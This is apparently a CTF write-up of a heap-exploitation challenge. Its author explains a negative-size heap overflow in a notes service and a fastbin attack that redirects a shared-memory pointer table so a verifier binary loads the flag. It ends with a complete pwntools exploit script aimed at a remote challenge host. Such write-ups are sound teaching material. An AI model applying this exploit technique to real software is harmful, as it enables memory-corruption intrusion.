Solved by sherl0ck
This was my first challenge that involved the shared memory object concept and I found it pretty interesting to solve. The provided binary began to segfault after an initial run and I contacted the admins who promptly addressed the issue and released an update for this challenge. The shared object was not getting unlinked before the binary terminated, which lead to shm_open() failing in the next run as an object with the same name already existed. So we had to run ‘rm /dev/shm/notes_dir‘ before each run.
The intended method (as uploaded by InfoSecIITR on CTFtime) involve’s performing a House of Force attack to leverage the top chunk to the shared region. In this write-up, however, I will demonstrate it with a fastbin attack, so there is no need for any sort of memory leaks.
There were 2 binaries provided – service.o and verifier.o – from which service.o was the driver binary and the one with the vulnerability. Here are it’s mitigations –
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : FULL
Let’s take a look at service.o first.
It create’s a shared memory object and maps it to the address 0xcafeb000. A pointer to this is stored in the .bss section (let’s call this table). The binary has the following functionalities – add, delete, edit, print, exit, and getflag. Let’s take a quick look at each of them.
The add option takes in a size and malloc’s size+160 bytes. The first 160 bytes are for the title and the rest are for the body. The title and body are read into their respective locations and a pointer to this object is stored in the shared region’s first non-null block. The maximum no. of objects that can be stored is 6.
Deleting the object frees the object at the specified index in the shared region, and nulls out the pointer to it.
The edit functionality allows us to edit the title and body of the object whose index we provide.
The print option takes in an index and prints out the title and body of the corresponding object.
The getflag functionality forks a child and make’s the parent wait for the child. The child execute’s the verifier.o binary.
Comming to the functioning of verifier.o, it maps the shared memory object created by service.o to the address 0xdeadb000. It then check’s if the title of the object at index=7 is “GIMMETHEFLAG”. If it is then it loads the contents of the file “flag” onto this object’s body field and exits. So our goal in this challenge will be to get an object at index 8 and make it point to the string “GIMMETHEFLAG”.
In the add function, we enter the size and there is no check made to see if this is positive or not. So if we give a negative no. then instead of adding it to 160, the size is found by a subtraction with 160. Thus the final size is less than 160, but for reading the title in the add and edit functionalities, a fixed size of 160 bytes is used. Thus we have a heap overflow in add() and edit().
First, allocate a chunk and specify the size as a negative no. so that we have a heap overflow. After this again allocate a chunk, but now specify the size as -64 which leads to a malloc of size=160-64=96 bytes. This will result in a chunk of size 0x70 which is a fastbin chunk. Now free the second allocated chunk and use the edit function to edit the title of the first chunk to effectively overwrite the fd of the free fastbin chunk.
Now the question is what to overwrite the fd with. Take a look at the bss segment of service.o –
Now look at it starting from the address 0x60202d
gdb-peda$ x/xg 0x60202d
0x602035 <stdin+5>: 0x000000000000007f <— Can be used as size field
0x602045: 0x00cafeb000000000 <—- pointer to shared region
Thus if we allocate a chunk to 0x60202d, we can control the pointer to the shared region and effectively control where to write. So we overwrite the fd of the free fastbin with 0x60202d and the second allocation of a chunk of size 96 (-64 as the size input) return’s a chunk in the bss.
Now we overwrite the pointer to the shared region with any address of our choice. I chose the one immediately after this pointer (0x602050). Thus the new table of pointers starts at 0x602050). We specify the first pointer as the address of the index that verifier.o will check (0xcafeb000+0x38 = 0xcafeb038) and the second as 0xcafeb040 (we’ll see why soon).
Edit the index 0 to write to the location 0xcafeb038. Here we will write a pointer to the string “GIMMETHEFLAG”. Keep in mind that this pointer must also lie in the shared region to be accessible by verifier.o. So I selected the very next address (0xcafeb040) but wrote 0xdeadb040 as in verifier.o, the shared object is loaded on to the base address 0xdeadb000. At this address, we give the string “GIMMETHEFLAG”.
Now a call to getflag(), results in verifier.o being executed and it loads the shared object at 0xdeadb000. Now it checks the value of the pointer at the address 0xdeadb038 (i.e 0xdeadb040). Since the value is “GIMMETHEFLAG”, the flag is loaded at 0xdeadb040+160. Thus we can actually visualize the location 0xdeadb040 (or 0xcafeb040 in service.o) as an entry that has “GIMMETHEFLAG” as the title and the flag as the body. So we just view this entry and the body field displays the flag. This is the reason why we wrote a pointer to this location in the table of pointers after the fastbin attack.
Here is the exploit script-
from pwn import * import sys HOST='220.127.116.11' PORT=8888 if len(sys.argv)>1: r=remote(HOST,PORT) else: r=process('./service.o') def menu(opt): r.sendlineafter("> \n",str(opt)) def add (length,title,body=''): menu(1) r.sendlineafter("Enter note length> \n",str(length)) r.sendlineafter("Enter title> \n",title) if body!='': r.sendlineafter("Enter note body> \n",body) def free(idx): menu(2) r.sendlineafter("Enter note index> ",str(idx)) def edit(idx,title,body='',line=True): menu(3) r.sendlineafter("Enter note index> \n",str(idx)) if line==True: r.sendlineafter("Enter title> \n",title) else: r.sendafter("Enter title> \n",title) if body!='': r.sendlineafter("Enter note body> \n",body) def show(idx): menu(4) r.sendlineafter("Enter note index> ",str(idx)) r.recvuntil("Title: ") def exploit(): add(-100,"A") add(-64,"AAA") free(1) edit(0,"A"*8*8+p64(0)+p64(0x71)+p64(0x60202d)) # corrupt fd of free fastbin add(-64,"AAAAA") add(-64,p64(0x0000000002000000)+'\x00'*3+p64(0x602050)+p64(0xcafeb038)+p64(0xcafeb040)) # overwrite the pointer to shared region edit(0,p64(0xdeadb040)+"GIMMETHEFLAG") # edit the value at 0xcafeb038 menu(6) # call verifier show(1) # print the flag if __name__=='__main__': exploit() r.interactive()
And the flag was –
Though the server issues were pretty frustrating, the pwn challenges in the CTF were decent and I particularly enjoyed this bookkeeping challenge. Hope you did not feel bored reading through!